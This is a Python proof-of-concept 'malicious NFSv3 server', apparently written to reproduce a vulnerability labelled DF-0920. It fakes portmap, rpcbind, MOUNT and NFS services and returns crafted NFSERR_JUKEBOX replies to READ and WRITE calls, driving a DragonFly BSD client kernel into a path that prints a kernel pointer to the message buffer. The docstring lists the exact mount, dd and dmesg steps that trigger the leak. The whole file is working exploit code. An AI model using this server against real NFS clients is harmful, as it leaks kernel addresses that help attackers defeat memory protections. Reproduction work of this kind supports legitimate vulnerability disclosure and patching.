#!/usr/bin/env python3
"""
bad_nfs_server_v3.py - DF-0920 reproduction malicious NFSv3 server (v3).

Self-contained: implements
  - portmap v2 (GETPORT) on UDP+TCP/111,
  - rpcbind v3/v4 (GETADDR, NULL, DUMP) on UDP+TCP/111,
  - MOUNT v1/v3 (NULL, MNT) and NFS v3 (NULL, GETATTR, LOOKUP, READ, FSSTAT)
    on TCP/2049,
returning NFSERR_JUKEBOX (== NFSERR_TRYLATER, value 10028) on every READ reply.

Drives the DragonFly client's nfs_request_processreply() into the EAGAIN
branch (nfs_socket.c:1525) which propagates back to nfssvc_iod_reader() as
info->error == EINPROGRESS, which then unconditionally kprintf()s the info
pointer to the kernel msgbuf at nfs_iod.c:135.

Run as root in the DragonFly guest:

    python3 bad_nfs_server_v3.py

Then mount from the same host:

    mount_nfs -T -3 -o port=2049 127.0.0.1:/export /mnt
    dd if=/mnt/anyfile of=/dev/null bs=8192
    dmesg | grep "rxq: move info"
"""
import socket
import struct
import threading
import sys
import time

NFS_PORT     = 2049
RPCBIND_PORT = 111

RPCBIND_PROG = 100000
MOUNT_PROG   = 100005
NFS_PROG     = 100003

# rpcbind procedure numbers
PMAP2_NULL    = 0
PMAP2_SET     = 1
PMAP2_UNSET   = 2
PMAP2_GETPORT = 3
PMAP2_DUMP    = 4

RPCB3_NULL    = 0
RPCB3_SET     = 1
RPCB3_UNSET   = 2
RPCB3_GETADDR = 3
RPCB3_DUMP    = 4

NFS3_NULL     = 0
NFS3_GETATTR  = 1
NFS3_SETATTR  = 2
NFS3_LOOKUP   = 3
NFS3_ACCESS   = 4
NFS3_READLINK = 5
NFS3_READ     = 6
NFS3_WRITE    = 7
NFS3_CREATE   = 8
NFS3_MKDIR    = 9
NFS3_SYMLINK  = 10
NFS3_REMOVE   = 12
NFS3_READDIR     = 16
NFS3_READDIRPLUS = 17
NFS3_FSSTAT      = 18
NFS3_FSINFO      = 19
NFS3_PATHCONF    = 20
NFS3_COMMIT      = 21

NF3REG  = 1
NF3DIR  = 2

def fattr3(ftype=NF3REG, mode=0o644, nlink=1, uid=0, gid=0,
           size=4096, used=8192, fsid=1, fileid=2):
    """Build an fattr3 (84 bytes), RFC 1813."""
    nfstime = struct.pack(">II", 0x60000000, 0)  # seconds + nseconds
    return (struct.pack(">IIIII", ftype, mode, nlink, uid, gid) +
            struct.pack(">QQ", size, used) +      # size, used (u64)
            struct.pack(">II", 0, 0) +            # rdev (major, minor)
            struct.pack(">Q", fsid) +
            struct.pack(">Q", fileid) +
            nfstime + nfstime + nfstime)          # atime, mtime, ctime

def post_op_attr(present=True, **kw):
    """post_op_attr: uint32 presence + fattr3 if present."""
    if present:
        return struct.pack(">I", 1) + fattr3(**kw)
    return struct.pack(">I", 0)

def wcc_data(pre_present=False, post_present=True, **kw):
    """wcc_data: pre_op_attr (uint32 + 6 uint32 if present) + post_op_attr.
    The 6 uint32 are: size_hi, size_lo, mtime_sec, mtime_nsec, ctime_sec, ctime_nsec.
    """
    pre = struct.pack(">I", 1 if pre_present else 0)
    if pre_present:
        pre += struct.pack(">IIIIII", 0, 0, 0, 0, 0, 0)  # size + mtime + ctime
    return pre + post_op_attr(post_present, **kw)

MNT_NULL   = 0
MNT_MNT    = 1

# A pseudo filehandle big enough that the client will accept it.
NFS3_FH     = b"\x01" * 64   # root directory fh (returned by MOUNT)
NFS3_FH_FILE = b"\x02" * 64  # file fh (returned by LOOKUP for "anyfile")

DEBUG = False
def LOG(msg):
    if DEBUG:
        sys.stderr.write(msg + "\n")
        sys.stderr.flush()

def rpc_record_frag(buf: bytes, last: bool = True) -> bytes:
    marker = len(buf) | (0x80000000 if last else 0)
    return struct.pack(">I", marker) + buf

def xdr_string(s: bytes) -> bytes:
    if isinstance(s, str):
        s = s.encode()
    pad = (4 - (len(s) % 4)) % 4
    return struct.pack(">I", len(s)) + s + (b"\x00" * pad)

def xdr_u(v): return struct.pack(">I", v)

def rpc_reply_accepted(xid: int, accept_state: int = 0,
                       reply_data: bytes = b"") -> bytes:
    body = struct.pack(">II", xid, 1)              # xid, type=REPLY
    body += struct.pack(">I", 0)                    # reply_state = MSG_ACCEPTED
    body += struct.pack(">II", 0, 0)               # verifier: flavor=AUTH_NULL, len=0
    body += struct.pack(">I", accept_state)         # accept_state=SUCCESS
    body += reply_data
    return body

def rpc_reply_denied(xid: int, reject_state: int = 0) -> bytes:
    body = struct.pack(">II", xid, 1)              # xid, type=REPLY
    body += struct.pack(">I", 1)                    # reply_state=DENIED
    body += struct.pack(">I", reject_state)
    return body

def nfs_status(code: int) -> bytes:
    return struct.pack(">I", code)

def universal_addr(port: int) -> str:
    # IPv4 universal address format: "127.0.0.1.p1.p2"
    p1 = (port >> 8) & 0xff
    p2 = port & 0xff
    return f"127.0.0.1.{p1}.{p2}"

def handle_rpc_call(body: bytes, proto: str):
    """Returns reply body bytes (no record marker), or None to ignore."""
    if len(body) < 24:
        return None
    xid, mtype = struct.unpack(">II", body[0:8])
    if mtype != 0:                                   # 0 = CALL
        return None
    rpc_vers, prog, vers, proc = struct.unpack(">IIII", body[8:24])

    LOG(f"[rpc] {proto} prog={prog} vers={vers} proc={proc} xid={xid:#x} len={len(body)}")

    # rpcbind / portmap
    if prog == RPCBIND_PROG:
        # portmap v2
        if vers == 2:
            if proc == PMAP2_NULL:
                return rpc_reply_accepted(xid, 0)
            if proc == PMAP2_GETPORT:
                # args: prog(4) vers(4) proto(4) port(4)
                if len(body) >= 24 + 16:
                    qprog, qvers, qproto = struct.unpack(">III", body[24:36])
                    LOG(f"  GETPORT prog={qprog} vers={qvers} proto={qproto}")
                return rpc_reply_accepted(xid, 0, struct.pack(">I", NFS_PORT))
            if proc == PMAP2_DUMP:
                return rpc_reply_accepted(xid, 0, struct.pack(">I", 0))  # empty list
            return rpc_reply_accepted(xid, 3)  # PROC_UNAVAIL
        # rpcbind v3 / v4
        if vers in (3, 4):
            if proc == RPCB3_NULL:
                return rpc_reply_accepted(xid, 0)
            if proc == RPCB3_GETADDR:
                # args: rpcb { prog, vers, netid(string), owner(string) }  (v3+)
                # for v4 there are also addr+owner strings.
                # We don't need to parse; just return the universal addr.
                addr = universal_addr(NFS_PORT)
                LOG(f"  GETADDR -> {addr}")
                return rpc_reply_accepted(xid, 0, xdr_string(addr))
            if proc == RPCB3_DUMP:
                return rpc_reply_accepted(xid, 0, struct.pack(">I", 0))  # empty list
            return rpc_reply_accepted(xid, 3)  # PROC_UNAVAIL
        return rpc_reply_accepted(xid, 2, struct.pack(">II", 2, 4))  # MISMATCH vers 2..4

    # NFS v3
    if prog == NFS_PROG and vers == 3:
        if proc == NFS3_NULL:
            return rpc_reply_accepted(xid, 0)
        if proc == NFS3_GETATTR:
            # GETATTR reply: status + obj_attributes
            return rpc_reply_accepted(xid, 0,
                nfs_status(0) + post_op_attr(True, ftype=NF3DIR, mode=0o755))
        if proc == NFS3_LOOKUP:
            # LOOKUP3resok (DragonFly): fh + post_op_attr(obj) + post_op_attr(dir)
            # NOTE: DragonFly deviates from RFC 1813 by sending dir_wcc as a plain
            # post_op_attr (no pre_op_attr), matching the server's nfsrv_lookup().
            # Use a large size to enable readahead.
            fh = NFS3_FH_FILE
            fh_field = struct.pack(">I", len(fh)) + fh
            pad = (4 - (len(fh) % 4)) % 4
            fh_field += b"\x00" * pad
            reply = nfs_status(0) + fh_field + \
                    post_op_attr(True, ftype=NF3REG, mode=0o644, size=1024*1024) + \
                    post_op_attr(True, ftype=NF3DIR, mode=0o755)
            LOG(f"  LOOKUP -> fh({len(fh)}) ok")
            return rpc_reply_accepted(xid, 0, reply)
        if proc == NFS3_ACCESS:
            # ACCESS reply: status + obj_attributes + access
            return rpc_reply_accepted(xid, 0,
                nfs_status(0) + post_op_attr(True, ftype=NF3REG, mode=0o644) +
                struct.pack(">I", 0x3f))  # all access bits
        if proc == NFS3_FSSTAT:
            # FSSTAT3resok: post_op_attr + size3 tfiles + size3 ffiles +
            # size3 afiles + uint32 invarsec.  Just send zeros.
            return rpc_reply_accepted(xid, 0,
                nfs_status(0) +
                post_op_attr(True, ftype=NF3DIR, mode=0o755) +
                struct.pack(">QQQI", 0, 0, 0, 0))
        if proc == NFS3_READDIR or proc == NFS3_READDIRPLUS:
            # READDIR3resok: post_op_attr + cookieverf(8) + entry*(bool+entry)
            # + eof(bool).  Empty list: bool(0) + eof(1).
            return rpc_reply_accepted(xid, 0,
                nfs_status(0) +
                post_op_attr(True, ftype=NF3DIR, mode=0o755) +
                b"\x00" * 8 +                    # cookieverf
                struct.pack(">I", 0) +            # bool = false (no entries)
                struct.pack(">I", 1))             # eof = true
        if proc == NFS3_FSINFO:
            # FSINFO3resok: post_op_attr + 7 uint32 + uint64 + nfstime3 + uint32
            # rtmax,rtpref,rtmult,wtmax,wtpref,wtmult,dtpref,maxfilesize,timedelta,properties
            # Use 65536 for rtmax/rtpref so biosize = 65536 = MAXBSIZE,
            # which makes seqcount >= 1 from the first sequential read.
            return rpc_reply_accepted(xid, 0,
                nfs_status(0) +
                post_op_attr(True, ftype=NF3DIR, mode=0o755) +
                struct.pack(">IIIIIII", 65536, 65536, 65536, 65536, 65536, 65536, 65536) +
                struct.pack(">Q", 0x7fffffffffffffff) +    # maxfilesize (uint64)
                struct.pack(">II", 1, 0) +                 # timedelta sec=1 nsec=0
                struct.pack(">I", 0x1ff))                   # properties
        if proc == NFS3_PATHCONF:
            return rpc_reply_accepted(xid, 0, nfs_status(10028))
        if proc == NFS3_SETATTR:
            # SETATTR3resok: status + wcc_data (pre_op_attr + post_op_attr).
            # Client parses with nfsm_wcc_data: 1 uint32 (pre present) +
            # if present: 6 uint32 (size+mtime+ctime) + post_op_attr.
            return rpc_reply_accepted(xid, 0,
                nfs_status(0) +
                wcc_data(False, True, ftype=NF3REG, mode=0o644, size=1024*1024))
        if proc == NFS3_WRITE:
            # WRITE3resfail: status + wcc_data (pre_op_attr + post_op_attr).
            # NFSERR_JUKEBOX -> EAGAIN -> EINPROGRESS -> kprintf leak.
            return rpc_reply_accepted(xid, 0,
                nfs_status(10028) +
                wcc_data(False, True, ftype=NF3REG, mode=0o644, size=1024*1024))
        if proc == NFS3_READ:
            # Parse READ3args: fh(opaque) + offset(uint64) + count(uint32).
            # The body layout is:
            #   body[0:8]    = xid + mtype
            #   body[8:24]   = rpcvers + prog + vers + proc
            #   body[24:28]  = cred flavor
            #   body[28:32]  = cred length (C)
            #   body[32:32+C+pad] = cred body
            #   then verif flavor(4) + verif length(V) + body
            #   then args: fh length(F) + F bytes + pad + offset(8) + count(4)
            try:
                cred_len = struct.unpack(">I", body[28:32])[0]
                cred_pad = (4 - (cred_len % 4)) % 4
                p = 32 + cred_len + cred_pad
                verif_len = struct.unpack(">I", body[p+4:p+8])[0]
                verif_pad = (4 - (verif_len % 4)) % 4
                p = p + 8 + verif_len + verif_pad
                fhlen = struct.unpack(">I", body[p:p+4])[0]
                fh_pad = (4 - (fhlen % 4)) % 4
                p = p + 4 + fhlen + fh_pad
                offset = struct.unpack(">Q", body[p:p+8])[0]
                count = struct.unpack(">I", body[p+8:p+12])[0]
                LOG(f"  READ off={offset} count={count}")
            except Exception as e:
                LOG(f"  READ parse fail: {e}")
                offset = 0
                count = 0

            # For the first few blocks: return success with zero-filled data
            # so the buffer cache populates and the kernel keeps reading.
            # For later blocks: return NFSERR_JUKEBOX -> EAGAIN -> EINPROGRESS
            # -> the iod reader thread hits the kprintf at nfs_iod.c:135.
            if offset < 131072:  # first 4 blocks of 32K each
                data = b"\x00" * min(count, 32768)
                # READ3resok: status + post_op_attr + count + eof + data
                return rpc_reply_accepted(xid, 0,
                    nfs_status(0) +
                    post_op_attr(True, ftype=NF3REG, mode=0o644, size=1024*1024) +
                    struct.pack(">I", len(data)) +     # count
                    struct.pack(">I", 0) +             # eof=false
                    xdr_string(data))                   # data (length-prefixed)
            else:
                # JUKEBOX reply: status + post_op_attr
                return rpc_reply_accepted(xid, 0,
                    nfs_status(10028) +
                    post_op_attr(True, ftype=NF3REG, mode=0o644, size=1024*1024))
        return rpc_reply_accepted(xid, 3)  # PROC_UNAVAIL

    # MOUNT v1 / v3
    if prog == MOUNT_PROG and vers in (1, 3):
        if proc == MNT_NULL:
            return rpc_reply_accepted(xid, 0)
        if proc == MNT_MNT:
            fh = NFS3_FH
            reply = nfs_status(0) + struct.pack(">I", len(fh)) + fh
            # round up fh to 4-byte boundary
            pad = (4 - (len(fh) % 4)) % 4
            reply += b"\x00" * pad
            # auth flavor list: count=1, flavor=AUTH_UNIX(1)
            reply += struct.pack(">II", 1, 1)
            LOG(f"  MNT -> fh({len(fh)})")
            return rpc_reply_accepted(xid, 0, reply)
        return rpc_reply_accepted(xid, 3)  # PROC_UNAVAIL

    LOG(f"  UNKNOWN prog={prog}")
    return rpc_reply_accepted(xid, 1)  # PROG_UNAVAIL

def stream_handler(conn, addr):
    buf = b""
    try:
        while True:
            chunk = conn.recv(8192)
            if not chunk:
                break
            buf += chunk
            while len(buf) >= 4:
                (marker,) = struct.unpack(">I", buf[:4])
                plen = marker & 0x7fffffff
                if len(buf) < 4 + plen:
                    break
                pdu = buf[4:4 + plen]
                buf = buf[4 + plen:]
                reply_body = handle_rpc_call(pdu, "tcp")
                if reply_body:
                    try:
                        conn.sendall(rpc_record_frag(reply_body))
                    except Exception as e:
                        LOG(f"[!] tcp send: {e}")
                        return
    except Exception as e:
        LOG(f"[!] stream_handler {addr}: {e}")
    finally:
        try: conn.close()
        except: pass

def dgram_loop(sock, label):
    while True:
        try:
            data, addr = sock.recvfrom(8192)
        except Exception as e:
            sys.stderr.write(f"[!] dgram_loop {label}: {e}\n")
            continue
        reply_body = handle_rpc_call(data, "udp")
        if reply_body:
            try: sock.sendto(reply_body, addr)
            except: pass

def serve_tcp(host, port, label):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind((host, port))
    s.listen(8)
    sys.stderr.write(f"[*] {label} TCP listening on {host}:{port}\n")
    while True:
        try:
            conn, addr = s.accept()
        except Exception as e:
            sys.stderr.write(f"[!] {label} accept: {e}\n")
            continue
        t = threading.Thread(target=stream_handler, args=(conn, addr), daemon=True)
        t.start()

def serve_udp(host, port, label):
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind((host, port))
    sys.stderr.write(f"[*] {label} UDP listening on {host}:{port}\n")
    dgram_loop(s, label)

def main():
    threads = []
    for fn, host, port, label in (
        (serve_tcp, "127.0.0.1", RPCBIND_PORT, "rpcbind"),
        (serve_udp, "127.0.0.1", RPCBIND_PORT, "rpcbind"),
        (serve_tcp, "127.0.0.1", NFS_PORT,     "nfs/mount"),
    ):
        t = threading.Thread(target=fn, args=(host, port, label), daemon=True)
        t.start()
        threads.append(t)
    sys.stderr.write("[*] malicious NFSv3 server up; waiting for client\n")
    sys.stderr.flush()
    for t in threads:
        t.join()

if __name__ == "__main__":
    main()
